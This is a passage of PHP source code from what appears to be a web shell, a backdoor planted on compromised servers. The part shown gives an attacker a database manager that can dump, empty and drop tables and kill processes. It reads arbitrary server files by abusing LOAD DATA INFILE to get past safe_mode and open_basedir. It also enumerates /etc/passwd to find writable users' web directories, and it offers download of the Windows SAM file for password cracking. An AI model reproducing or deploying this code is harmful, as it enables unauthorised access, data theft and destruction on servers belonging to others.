?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
echo "<option value=\"\">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
}
//End left panel
echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" noshade><center>Total Infected ".$c." table(s) - Database (".htmlspecialchars($sql_db).")<br />";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</center>";
$acts = array("","dump");
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."`
";} $sql_act = "query";}
elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
elseif ($sql_tbl_act == "insert")
{
if ($sql_tbl_insert_radio == 1)
{
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
} elseif ($sql_tbl_insert_radio == 2) {
$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_act = "query";
$sql_tbl_act = "browse";
}
}
if ($sql_act == "query")
{
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\">"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "<br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
}
if (in_array($sql_act,$acts))
{
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1">Create new table:<form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1">Dump DB:<form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
if ($sql_act == "newtbl")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!<br>";
} else {
echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason: ".mysql_smarterror();}
}
elseif ($sql_act == "dump")
{
if (empty($submit))
{
$diplay = FALSE;
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\">SQL-Dump:<br><br>";
echo "DB: <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "Only tables (explode \";\") <sup>1</sup>: <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "File: <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
echo "Download: <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
echo "Save to file: <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><sup>1</sup> - all, if empty";
echo "</form>";
} else {
$diplay = TRUE;
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set[""] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = TRUE;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download)
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile)
{
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";
} else {
fwrite($fp,$ret);
fclose($fp);
echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; }
} else {
echo "Dump: nothing to do!";}
}
}
if ($diplay)
{
if (!empty($sql_tbl))
{
if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2)
{
if ($e[0] == "d") {$asc_desc = "DESC";
} else {
$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {
$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo "<hr size=\"1\" noshade><center>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</center>";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ Structure ]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ Browse ]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ Dump ]</a> ";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ Insert ]</a> ";
if ($sql_tbl_act == "structure") {echo "<br><br>Coming sooon!";}
if ($sql_tbl_act == "insert")
{
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio)) {
} else {
echo "<br><br>Inserting row into table:<br>";
if (!empty($sql_tbl_insert_q))
{
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);} else {
$values = array();}
echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#990000 cellPadding=5 width=\"1%\" bgcolor=transparent borderColorLight=#c0c0c0 border=1><tr><td>Field</td><td>Type</td><td>Function</td><td>Value</td></tr>";
foreach ($tbl_struct_fields as $field)
{
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td>".htmlspecialchars($name)."</td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo ">Insert as new row";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked>Save"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
}
}
if ($sql_tbl_act == "browse")
{
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
echo "Pages ";
$b = 0;
for($i=0;$i<$numpages;$i++)
{
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";
} else {
echo " ";}
}
if ($i == 0) {echo "empty";
}
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\">
<input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\">
<input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\">
<input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\">
<input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\">
<input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\">
<input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\">
<input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\">From: <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> To: <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#990000 cellPadding=5 width=\"1%\" bgcolor=transparent borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
for ($i=0;$i<mysql_num_fields($result);$i++)
{
$v = mysql_field_name($result,$i);
if ($e[0] == "a") {$s = "d"; $m = "asc";} else {
$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\">".$v."</a>";
} else {
echo "".$v."<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."xtux=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
echo "</td>";
}
echo "<td><font color=\"red\">Action</font></td>";
echo "</tr>";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v);
if ($v == "") {$v = "<font color=\"red\">NULL</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a> |";
echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"> Edit</a>";
echo "</td>";
echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\">^<select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
}
} else {
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();
} else {
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#990000 cellPadding=5 width=\"100%\" bgcolor=transparent borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center>Table</center></td><td>Rows</td><td>Type</td><td>Created</td><td>Modified</td><td>Size</td><td>Action</td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\">".$row["Name"]."</a> </td>";
echo "<td>".$row["Rows"]."</td>";
echo "<td>".$row["Type"]."</td>";
echo "<td>".$row["Create_time"]."</td>";
echo "<td>".$row["Update_time"]."</td>";
echo "<td>".$size."</td>";
echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">Empty</a>|<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">Drop</a>|<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\">Insert</a> </td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"transparent\">";
echo "<td><center>+</center></td>";
echo "<td><center>".$i." table(s)</center></td>";
echo "<td>".$trows."</td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td>".view_size($tsize)."</td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><p align=\"right\">^<select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"tbldrop\">Drop</option>";
echo "<option value=\"tblempty\">Empty</option>";
echo "<option value=\"tbldump\">Dump</option>";
echo "<option value=\"tblcheck\">Check table</option>";
echo "<option value=\"tbloptimize\">Optimize table</option>";
echo "<option value=\"tblrepair\">Repair table</option>";
echo "<option value=\"tblanalyze\">Analyze table</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
mysql_free_result($result);
}
}
}
}
} else {
$xtuxs = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_act,$xtuxs)) {
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1">Create new DB:
<form action="<?php echo $surl; ?>">
<input type="hidden" name="act" value="sql">
<input type="hidden" name="sql_act" value="newdb">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
<input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
<input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td>
<td width="30%" height="1">View File:<form action="<?php echo $surl; ?>">
<input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile">
<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
<input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
<input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">
<input type="submit" value="Get"></form></td>
<td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr>
</table><?php
}
if (!empty($sql_act))
{
echo "<hr size=\"1\" noshade>";
if ($sql_act == "newdb")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!<br>";
} else {
echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason: ".mysql_smarterror();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center>Server-status variables:<br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=transparent borderColorLight=#333333 border=1><td>Name</td><td>Value</td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
}
if ($sql_act == "servervars")
{
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center>Server variables:<br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=transparent borderColorLight=#333333 border=1><td>Name</td><td>Value</td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "processes")
{
if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center>Processes:<br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=transparent borderColorLight=#333333 border=1><td>ID</td><td>USER</td><td>HOST</td><td>DB</td><td>COMMAND</td><td>TIME</td><td>STATE</td><td>INFO</td><td>Action</td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "Error in reading file (permision denied)!";
} else {
for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
if (empty($f)) {echo "File \"".$sql_getfile."\" does not exists or empty!<br>";
} else {
echo "File \"".$sql_getfile."\":<br>".nl2br(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb); //comment it if you want to leave database
}
}
}
}
echo "</td></tr></table>";
if ($sql_sock)
{
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "<tr><td><center>Infected rows: ".$affected."</center></td></tr>";
}
echo "</table>";
}
if ($xtux == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": object alredy exists";}
elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": access denied";}
echo "<br><br>";
}
$xtux = $dspact = "ls";
}
if ($xtux == "d")
{
if (!is_dir($d)) {echo "<center>Permision denied!</center>";
} else {
echo "Directory information:<table border=0 cellspacing=1 cellpadding=2>";
if (!$win)
{
echo "<tr><td>Owner/Group</td><td> ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
echo "<tr><td>Perms</td><td><a href=\"".$surl."xtux=chmod&d=".urlencode($d)."\">".view_perms_color($d)."</a><tr><td>Create time</td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td>Access time</td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td>MODIFY time</td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
}
}
if ($xtux == "finder") {
$count=0;
set_time_limit(0);
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] No Access to /etc/passwd
";
exit;
}
$path_to_public=array();
echo "<html>
";
while(!feof($passwd)) {
$str=fgets($passwd);
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($path_to_public,$dirz);
if (is_writeable($dirz)) {
$count++;
echo "<font color=red>[</font><font color=white>R</font><font color=green>W</font><font color=red>]</font> " . $dirz . "<br>
";
} else
echo "<font color=red>[</font><font color=white>R</font><font color=red>]</font> " . $dirz . "<br>
";
}
}
}
echo "[+] Found " . sizeof($path_to_public) . " readable public_html directories.<br><br>
";
function read_dir($path) {
global $count;
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$dr="$path$file/";
if (($file!='.') and ($file!='..') and is_dir($dr)) {
if (is_readable($dr) and is_writeable($dr)) {
echo "[RW] " . $dr . "<br>
";
$count++;
}
read_dir($dr);
}
}
}
}
}
if ($xtux == "phpinfo") {@ob_clean(); phpinfo(); TuXexit();}
if ($xtux == "security")
{
echo "<center>Server security information:</center>Open base dir: ".$hopenbasedir."<br>";
if (!$win)
{
if ($nixpasswd)
{
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "*nix /etc/passwd:<br>";
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
echo "<form action=\"".$surl."\"><input type=hidden name=\"xtux\" value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\">From: <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> To: <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
$i = $nixpwd_s;
while ($i < $nixpwd_e)
{
$uid = posix_getpwuid($i);
if ($uid)
{
$uid["dir"] = "<a href=\"".$surl."xtux=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
echo join(":",$uid)."<br>";
}
$i++;
}
} else {
echo "<br><a href=\"".$surl."xtux=security&nixpasswd=1&d=".$ud."\"><u>Get /etc/passwd</u></a><br>";}
} else {
$v = $_SERVER["WINDIR"]."
epair\sam";
if (file_get_contents($v)) { echo "<font color=red>You can't crack winnt passwords(".$v.") </font><br>";
} else {
echo "<font color=green>You can crack winnt passwords. <a href=\"".$surl."xtux=f&f=sam&d=".$_SERVER["WINDIR"]."
epair&ft=download\"><u>Download</u></a>, and use lcp.crack+ ?.</font><br>";}
}
if (file_get_contents("/etc/userdomains")) {echo "<font color=green><a href=\"".$surl."xtux=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u>View cpanel user-domains logs</u></a></font><br>";}
